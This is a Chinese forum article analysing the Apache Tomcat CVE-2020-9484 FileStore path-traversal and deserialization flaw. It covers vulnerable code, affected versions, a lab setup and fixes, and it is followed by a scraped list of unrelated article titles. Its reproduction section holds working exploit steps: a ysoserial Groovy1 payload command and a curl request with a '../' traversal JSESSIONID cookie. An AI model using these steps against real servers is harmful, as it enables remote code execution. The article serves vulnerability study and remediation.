本文是i春秋论坛作家「Ybwh」表哥原创的一篇技术文章,浅析CVE-2020-9484 Apache Tomcat反序列化漏洞。

01漏洞概述

这次是因为错误配置和org.apache.catalina.session.FileStore的LFI和反序列化漏洞引起的RCE。当配置了org.apache.catalina.session.PersistentManager并且使用org.apache.catalina.session.FileStore来储存session时, 用户可以通过org.apache.catalina.session.FileStore的一个LFI漏洞来读取服务器上任意以 .session结尾的文件,然后通过反序列化来运行.session文件。

默认情况是使用org.apache.catalina.session.StandardManager, 将session储存到内存,而PersistentManager会将不常用的session swap out,从而减少内存占用。

此处使用Tomcat 10.0.0-M4来做分析,这里主要是FileStore的LFI漏洞可以反序列化任意路径上的.session 文件,如果同时存在文件上传漏洞的话就是RCE了。

首先看FileStore源码,当用户请求里带有JSESSIONID时,会运行存在问题的load方法:

public Session load(String id) throws ClassNotFoundException, IOException { // Open an input stream to the specified pathname, if any File file = file(id); if (file== null || !file.exists()) { return null; } Context context = getManager().getContext(); Log contextLog = context.getLogger(); if (contextLog.isDebugEnabled()){ contextLog.debug(sm.getString(getStoreName()+".loading", id,file.getAbsolutePath())); } ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null); try (FileInputStreamfis = new FileInputStream(file.getAbsolutePath()); ObjectInputStream ois = getObjectInputStream(fis)) { StandardSession session = (StandardSession) manager.createEmptySession(); session.readObjectData(ois); session.setManager(manager); return session; } catch (FileNotFoundExceptione) { if (contextLog.isDebugEnabled()){ contextLog.debug("No persisted data file found"); } return null; } finally { context.unbind(Globals.IS_SECURITY_ENABLED,oldThreadContextCL); } }

load会先将session id转换成file object查看文件是否存在,如果存在的话会读取文件. file object会为输入的id添加.session后缀,然而并没有验证文件的目录:

private File file(String id) throws IOException{ if (this.directory == null) { return null; } String filename= id + FILE_EXT; File file = new File(directory(), filename); return file; }

org.apache.catalina.session.getObjectInputStream,方法:

protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException{ BufferedInputStream bis = new BufferedInputStream(is); CustomObjectInputStream ois; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); if (managerinstanceof ManagerBase) { ManagerBase managerBase = (ManagerBase) manager; ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(), managerBase.getSessionAttributeValueClassNamePattern(), managerBase.getWarnOnSessionAttributeFilterFailure()); } else { ois = new CustomObjectInputStream(bis, classLoader); } return ois; }

getObjectInputStream方法运行

org.apache.catalina.util.CustomObjectInputStream,获取gadget类,然后就反序列化session文件了。

02影响版本

Apache Tomcat:10.0.0-M1 to 10.0.0-M4,9.0.0.M1 to 9.0.34,8.5.0 to 8.5.54 and 7.0.0 to7.0.103

03环境搭建

本次使用linux进行测试,设置一个Tomcat服务:

1、下载Tomcat 10.0.0-M4;

2、将文件解压之后放入/usr/local/tomcat;

3、修改/usr/local/tomcat/conf/context.xlm,添加Manager;

WEB-INF/web.xmlWEB-INF/tomcat-web.xml${catalina.base}/conf/web.xml

directory设置成什么都没有关系,因为不过滤 ../

4、下载groovy-2.3.9.jar;

5、将groovy-2.3.9.jar 放入 /usr/local/tomcat/lib;

6、执行/usr/local/tomcat/bin/catalina.shstart,运行Tomcat。

04漏洞复现

目标是在服务器上执行touch /tmp/2333,假设.session文件已经被上传到服务器的已知位置。

1、下载ysoserial一个生成java反序列化payload的.jar 包;

2、执行java-jarysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" >/tmp/test.session 生成payload;

3、执行

curl'http://127.0.0.1:8080/index.jsp'-H'Cookie:JSESSIONID=../../../../../tmp/test'

虽然有报错但是反序列化已经执行了

4、执行ls /tmp查看结果:

05修复方式

对比Tomcat 10.0.0-M4和Tomcat 10.0.0-M5的FileStore,源码可以发现做了目录验证。

修复方式就是升级,或者配置WAF,过滤掉../之类的字符串,或者不使用FileStore。

以上是今天要分享的内容,大家看懂了吗?

java反序列化漏洞 tomcat_CVE-2020-9484 Apache Tomcat反序列化漏洞浅析相关推荐

  1. IIS Nginx Apache Tomcat 中间件漏洞

    简介 中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通.中间件处在操作系统和更高一级应用程序之间.他充当的功能是:将程序运行环境与操作系统隔离,从 ...

  2. Apache Tomcat 拒绝服务漏洞通告

    作者 | 360CERT 来源 | https://www.oschina.net/news/164556 报告编号:B6-2021-101501 报告来源:360CERT 报告作者:360CERT ...

  3. Apache Tomcat安全漏洞列表及整改建议合集

    描述: 安全整改目前已经成为安全运维工程师必备的技能之一,但是令人头疼的是,经常会应为一些整改问题,百度无数次,并且不知道标准是什么.下面就为大家总结了在近期web漏洞整改中,绿盟给出的漏洞报告及整改 ...

  4. tomcat ajp协议安全限制绕过漏洞_国家信息安全漏洞共享平台发布Apache Tomcat漏洞安全公告...

    2月22日消息 国家信息安全漏洞共享平台(CNVD)近日发布了一份关于 Apache Tomcat 存在文件包含漏洞的安全公告,具体如下: 安全公告编号:CNTA-2020-0004 2020 年 1 ...

  5. CVE-2020-1938 Tomcat AJP 漏洞记录

    漏洞描述 2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020- ...

  6. Web中间件之Apache Tomcat

    中间件定义 中间件定义:中间件是一类连接软件组件和应用的计算机技软件,包括一组服务,以便运行在一台或多台机器上的多个软件进行交互.所提供互操作性,推动了分布式体系架构,该架构常用于支持并简化复杂的分布 ...

  7. org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException: The field file exceeds i

    org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException: The field file exceeds i ...

  8. apache目录遍历漏洞利用_Apache漏洞—多后缀名解析、目录遍历和(CVE-2017-15715)

    文章目录 一.Apache httpd 多后缀解析漏洞 漏洞原理 漏洞复现 漏洞修复 二.Apache httpd 换行解析漏洞(CVE-2017-15715) 漏洞原理 漏洞复现 漏洞修复 三.Ap ...

  9. Apache Tomcat 文件包含漏洞(CVE-2020-1938)

    安全公告编号:CNTA-2020-0004 2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020- ...

最新文章

  1. 人工智能将会如何影响和服务医疗行业?未来十年会有哪些值得期待的应用?
  2. W600 PWM捕获功能
  3. 不使用加减乘除实现加法
  4. Gradle笔记——Gradle的简介与安装
  5. Qt creator5.7 OpenCV249之resize函数(含源码下载)
  6. 标星7000+,这个 Python 艺术二维码生成器厉害了!
  7. 【英语学习】【Daily English】U06 Shopping L03 What sort of market are you looking for?
  8. python的枚举和for循环_python入门与进阶篇(三)之分支、循环、条件与枚举,python枚举...
  9. 清北考前刷题day6下午好
  10. Integer的自动拆装箱的陷阱(整型数-128到127的值比较问题)
  11. EDB*Plus的当前路径问题
  12. string对象的创建、截取和拼接_java基础面试题-String深入理解
  13. 身份证识别鉴别证件真假
  14. action mutation 调用_Vuex源码学习(七)action和mutation如何被调用的(调用篇)
  15. 皮皮高清影视播放器2015官方版
  16. Jo-SRC: A Contrastive Approach for Combating Noisy Labels
  17. linux识别riser卡,Riser卡和PCIe槽位
  18. windows上配置IIS全过程
  19. IllegalArgumentException: wrong number of arguments
  20. 《吐血整理》Linux面试题Top100@面试官你好,我精通Linux!嘿嘿~

热门文章

  1. Npm如何升级package.json
  2. delphi 怎么监测image有没有变动_社会舆情监测引导应对解决方案
  3. java启动时执行_java怎么实现项目启动时执行指定方法
  4. HDFS(二)HDFS架构
  5. 从零开始学习docker(一)
  6. ubuntu 使用root用户登录
  7. 付费?是不可能的!20行Python代码实现一款永久免费PDF编辑工具
  8. c判断char数组是否为空_你学过数组,那你知道柔性数组吗?
  9. oracle分页查询前10条,Oracle查询前十条记录及分页查询(第5条到第10记录)
  10. arm汇编指令_ARM汇编伪指令介绍.